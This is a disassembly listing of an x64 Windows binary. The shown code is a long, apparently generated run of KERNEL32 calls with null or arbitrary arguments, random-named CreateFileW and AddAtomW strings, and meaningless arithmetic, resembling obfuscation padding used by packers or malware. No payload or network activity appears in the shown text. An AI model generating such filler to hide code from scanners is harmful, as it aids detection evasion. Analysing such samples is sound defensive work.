call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf28], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xa340], rax
mov rax, qword [rsp + 0x95c8]
mov rax, qword [rax]
mov qword [rsp + 0xaf30], rax
lea rcx, [rsp + 0x9960]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xa850]
mov rcx, qword [rsp + 0xae58]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x44f0], eax
lea rcx, str.Nv7_YDSPcNC_ID0F
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x13c0], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
movsx eax, byte [rsp + 0x2b8]
mov rcx, qword [rsp + 0x9a88]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xd8], al
mov rax, qword [rsp + 0x9ad0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x105c]
add eax, ecx
mov word [rsp + 0x998], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
mov rcx, qword [rsp + 0xad78]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4c78], eax
mov rax, qword [rsp + 0xa8f8]
mov rcx, qword [rsp + 0x9a10]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [0x14022fb7c], eax
movzx eax, byte [rsp + 0xee]
mov rcx, qword [rsp + 0xad70]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x28f], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.PB7eUblj
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xaf38], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
mov rcx, qword [rsp + 0x98e0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4bd8], eax
movzx ecx, word [rsp + 0x100c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x13c4], ax
lea rcx, [rsp + 0x9760]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rcx, [rsp + 0x1a978]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rcx, qword [rsp + 0xa9c8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4d40], eax
mov edx, 0xcf2
mov rcx, qword [rsp + 0x9b80]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4bf0], eax
mov eax, dword [rsp + 0x4880]
mov dword [rsp + 0x4d44], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x99c8], rax
mov edx, 0x1577
mov rcx, qword [rsp + 0x9570]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4d48], eax
mov rax, qword [rsp + 0xac98]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x274]
shl eax, cl
mov byte [rsp + 0x26a], al
mov r9d, 0xd32
xor r8d, r8d
lea rdx, [rsp + 0xae68]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4bcc], eax
mov rax, qword [rsp + 0x93e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa0a0]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0x700], ax
lea rcx, [rsp + 0xa408]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xaf40], rax
movsx eax, word [rsp + 0x798]
movsx ecx, word [rsp + 0x12b4]
or eax, ecx
mov rcx, qword [rsp + 0xa920]
mov word [rcx], ax
mov rax, qword [rsp + 0xa248]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x14022fb68]
sar eax, cl
mov dword [rsp + 0x4878], eax
movzx eax, byte [rsp + 0x12b]
mov byte [rsp + 0x2c0], al
mov rax, qword [rsp + 0xa498]
mov rcx, qword [rsp + 0xa980]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7f10], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
mov rax, qword [0x14024f2e8]
movzx eax, word [rax]
mov word [0x14024f16c], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa558], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
movzx ecx, word [rsp + 0x113c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x13c8], ax
lea rcx, [rsp + 0xa0d0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PulseEvent]
mov rax, qword [rsp + 0xa468]
movzx eax, byte [rax]
mov byte [rsp + 0x2c1], al
mov rax, qword [rsp + 0xa040]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x48a4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x490c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
xor r9d, r9d
lea r8, [rsp + 0xa3f8]
mov rdx, qword [rsp + 0xad98]
mov rcx, qword [rsp + 0x9b58]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4c90], eax
lea rcx, [0x140232f78]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x13cc], ax
lea rcx, [rsp + 0x1a648]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9500], rax
mov rax, qword [rsp + 0xaa30]
mov rcx, qword [rsp + 0xa378]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8af8], rax
mov rax, qword [rsp + 0x9688]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8118]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8290], rax
lea rdx, [rsp + 0xaf48]
mov rcx, qword [rsp + 0x95e8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x46fc], eax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
mov rax, qword [rsp + 0x9e28]
mov rcx, qword [rsp + 0xab90]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4114], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa220], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommBreak]
movzx eax, byte [rsp + 0x154]
mov byte [rsp + 0x2c2], al
mov rax, qword [rsp + 0xab10]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9870]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9ed0]
mov word [rcx], ax
mov rax, qword [rsp + 0x9f98]
mov ecx, dword [rsp + 0x470c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x44a4], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xa120]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x205]
add eax, ecx
mov byte [0x140221338], al
movzx ecx, word [rsp + 0x12e0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1134], ax
movzx ecx, word [rsp + 0x11b4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x13d0], ax
movzx ecx, word [rsp + 0x1014]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xfdc], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9f58], rax
mov rax, qword [rsp + 0x9780]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa6a0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x131c], ax
mov rax, qword [rsp + 0x7d18]
mov rcx, qword [0x14024f3c0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8898], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.FnSUwv45ojrBclmy4OAz5v6
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xaf50], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xa138], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov rax, qword [rsp + 0xa728]
mov rax, qword [rax]
mov qword [rsp + 0xaf58], rax
mov rax, qword [rsp + 0xa578]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa2e0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xdac], ax
lea rax, [0x14022fb68]
mov qword [rsp + 0xaf60], rax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
mov rax, qword [rsp + 0x8ef0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x199]
shl eax, cl
mov byte [rsp + 0x2c2], al
mov rax, qword [rsp + 0xa9f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9bd0]
movsx ecx, word [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0xa798]
mov word [rcx], ax
mov rax, qword [rsp + 0xa540]
mov eax, dword [rax]
mov dword [rsp + 0x4d4c], eax
mov rax, qword [rsp + 0x9c20]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa058]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [0x14022fb6e], al
mov rax, qword [rsp + 0x8898]
mov rcx, qword [rsp + 0xa630]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x8828], rax
lea rax, [rsp + 0x97b8]
mov qword [rsp + 0xaf68], rax
mov rcx, qword [rsp + 0x9e60]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.6P0SjRbJFxpmPlHp2QaN5hosbvM0flCAQ
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xaf70], rax
mov rax, qword [rsp + 0xacc0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xaf10]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x9b68]
mov byte [rcx], al
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiberEx]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rax, qword [rsp + 0xa238]
mov rcx, qword [0x14024f188]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4c0c], eax
mov rcx, qword [rsp + 0x9b98]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov dword [rsp + 0x20], 0x22f3
mov r9d, 0x1793
mov r8d, 0x346c
mov edx, 0x1040
mov rcx, qword [rsp + 0xa560]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4d50], eax
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9ae8], rax
movsx eax, word [rsp + 0xe6c]
mov rcx, qword [rsp + 0x98b0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x9d8], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
mov rax, qword [rsp + 0xaa28]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9a88]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa538]
mov byte [rcx], al
mov eax, dword [0x14022fb5c]
mov dword [rsp + 0x4d54], eax
mov rax, qword [rsp + 0xabb0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xaeb8]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x9d18]
mov word [rcx], ax
lea rcx, str.mX7AWHs_9I
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x13d4], ax
mov rax, qword [rsp + 0xabe0]
movzx eax, byte [rax]
mov byte [0x14024f16a], al
lea rcx, [rsp + 0x1a438]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov r9d, 0x1bc4
xor r8d, r8d
lea rdx, [rsp + 0xa1f8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4ca4], eax
mov rax, qword [0x14024f178]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x6d8]
and eax, ecx
mov word [rsp + 0xe9c], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xaf78], rax
movzx ecx, word [rsp + 0x1004]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x10b4], ax
movzx ecx, word [rsp + 0x11ec]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x13c8], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xaf80], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommBreak]
mov dword [rsp + 0x20], 0x1f4d
mov r9d, 0x1947
mov r8d, 0x31c2
mov edx, 0xc79
mov rcx, qword [rsp + 0xa860]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4c3c], eax
mov rax, qword [rsp + 0xaac8]
mov ecx, dword [rsp + 0x4a0c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4904], eax
mov r9d, 0x4d6
xor r8d, r8d
lea rdx, [rsp + 0x9b30]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4d58], eax
mov rax, qword [rsp + 0x9f28]
mov rcx, qword [rsp + 0xa030]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xa498]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa6d8]
mov rax, qword [rax]
mov qword [rsp + 0xaf88], rax
mov r9d, 2
lea r8, [rsp + 0xabd0]
mov rdx, qword [rsp + 0x9b10]
mov rcx, qword [rsp + 0xa398]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4ce4], eax
lea rcx, [rsp + 0xaf90]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
movsx eax, byte [rsp + 0x27f]
mov rcx, qword [rsp + 0xa7a8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x2b8], al
lea rcx, [rsp + 0x1a408]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [rsp + 0x44f0]
mov dword [rsp + 0x4d5c], eax
mov rax, qword [rsp + 0x9cd0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xaf4]
add eax, ecx
mov rcx, qword [rsp + 0x9bd0]
mov word [rcx], ax
lea rcx, [rsp + 0xab28]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0xae88]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa838]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9218]
mov byte [rcx], al
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x25db
mov r9d, 0x27f9
mov r8d, 0xd4e3930b
mov edx, 2
mov rcx, qword [rsp + 0x96c8]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4cc0], eax
mov rax, qword [rsp + 0x98f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9f60]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x14024f270]
mov word [rcx], ax
lea rax, [rsp + 0xad20]
mov qword [rsp + 0xaf98], rax
lea rcx, [rsp + 0x1a9d8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rcx, qword [rsp + 0x96b8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTapeStatus]
mov rax, qword [rsp + 0x9c58]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9a10]
mov qword [rsp + 0xafa0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xafa0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4d44], eax
mov rcx, qword [rsp + 0x9990]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9f80], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx ecx, word [rsp + 0x1230]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1174], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa4a8], rax
lea rdx, [rsp + 0x9de0]
mov rcx, qword [rsp + 0xae90]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4d60], eax
xor r8d, r8d
mov edx, 2
lea rcx, [rsp + 0x20c40]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4cb4], eax
lea rax, [rsp + 0xa3a8]
mov qword [rsp + 0xafa8], rax
movzx eax, word [rsp + 0x10bc]
movzx ecx, word [rsp + 0x7a0]
xor eax, ecx
mov word [rsp + 0xf98], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9b48], rax
mov rax, qword [rsp + 0xa2b0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa208]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1084], ax
movsx eax, byte [rsp + 0x283]
movsx ecx, byte [rsp + 0x228]
cdq
idiv ecx
mov byte [rsp + 0x223], al
mov eax, dword [rsp + 0x47c4]
mov ecx, dword [rsp + 0x4890]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4478], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.6MNqlLF1QZqpeAj2iD4rROfJy4Wu
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xafb0], rax
mov rax, qword [rsp + 0x9cf8]
mov eax, dword [rax]
mov dword [rsp + 0x4d64], eax
mov edx, 0x167b
mov rcx, qword [rsp + 0xaf40]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x497c], eax
movzx eax, byte [0x140221039]
mov rcx, qword [rsp + 0xa120]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [0x14022133e], al
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9e20], rax
mov rax, qword [rsp + 0xaf20]
mov rcx, qword [rsp + 0xa980]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa8e0], rax
movzx eax, word [rsp + 0x1164]
movzx ecx, word [0x14022fb84]
add eax, ecx
mov word [rsp + 0x99c], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9918], rax
mov dword [rsp + 0x20], 0x2f3c
mov r9d, 0x18ff
mov r8d, 0x134f
mov edx, 0x18c1
mov rcx, qword [rsp + 0xa4c8]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4984], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov eax, dword [rsp + 0x4d04]
mov ecx, dword [rsp + 0x49b0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4c80], eax
movzx eax, byte [rsp + 0x281]
mov rcx, qword [rsp + 0x8f18]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x2a4], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, byte [rsp + 0x2ac]
mov byte [rsp + 0x2c3], al
mov rax, qword [rsp + 0xac40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4744]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9fa8]
mov dword [rcx], eax
movzx ecx, word [rsp + 0xf94]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x10e4], ax
lea rdx, [rsp + 0xafb8]
mov rcx, qword [rsp + 0xa458]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4994], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
movzx eax, word [rsp + 0x105c]
mov word [rsp + 0x13d8], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9f20], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xa128]
mov rcx, qword [rsp + 0xaf98]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8b08], rax
mov rcx, qword [rsp + 0x9750]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x9a10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x470c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa6a8]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rcx, qword [rsp + 0xa1d0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9718], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EraseTape]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xafc0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
mov rax, qword [rsp + 0x8f20]
movzx eax, word [rax]
mov word [0x14024f168], ax
movzx ecx, word [rsp + 0x10f8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x13d0], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xafc8], rax
mov rcx, qword [rsp + 0x9188]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4bd0], eax
lea rdx, [rsp + 0xafd0]
mov rcx, qword [rsp + 0xa528]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4adc], eax
mov rax, qword [rsp + 0xa658]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x20e]
add eax, ecx
mov byte [rsp + 0x11c], al
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xabf0], rax
mov rax, qword [rsp + 0x8d38]
mov rcx, qword [rsp + 0xabf8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9a18], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
movzx ecx, word [rsp + 0x1334]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xfb4], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor r8d, r8d
mov edx, 1
lea rcx, [rsp + 0x1fa40]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4cbc], eax
mov rax, qword [rsp + 0x9de8]
mov rax, qword [rax]
mov qword [rsp + 0xafd8], rax
movzx ecx, word [rsp + 0xf14]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x13dc], ax
movsx eax, word [rsp + 0xdb4]
movsx ecx, word [rsp + 0x13b4]
xor eax, ecx
mov word [rsp + 0xfc8], ax
mov rax, qword [rsp + 0xa850]
mov ecx, dword [rsp + 0x4478]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xa850]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x159]
mov rcx, qword [rsp + 0x9748]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x15b], al
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xa948], rax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
mov rax, qword [rsp + 0x9b68]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa310]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0x9b40]
mov byte [rcx], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.lKPb32v4JC0xDPJgqqQNiktahBdeZ5aGDZ4
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xafe0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
lea rcx, [rsp + 0x1a4c8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9ae0], rax
lea rax, [rsp + 0x10a8]
mov qword [rsp + 0xafe8], rax
mov rax, qword [rsp + 0xa040]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9ec0]
mov qword [rsp + 0xaff0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xaff0]
mov eax, dword [rax]
shr eax, cl
mov dword [0x14024f2f0], eax
mov r9d, 2
lea r8, [rsp + 0xaf48]
mov rdx, qword [rsp + 0xafd0]
mov rcx, qword [rsp + 0x9798]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4d68], eax
mov rax, qword [rsp + 0x9548]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xae40]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa760]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8cf8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xaa58]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa598]
mov qword [rcx], rax
lea rcx, [rsp + 0xaa38]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
lea rcx, [rsp + 0x1a528]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx ecx, word [rsp + 0x120c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x13e0], ax
mov rcx, qword [rsp + 0x9078]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0x29c]
mov qword [rsp + 0xaff8], rax
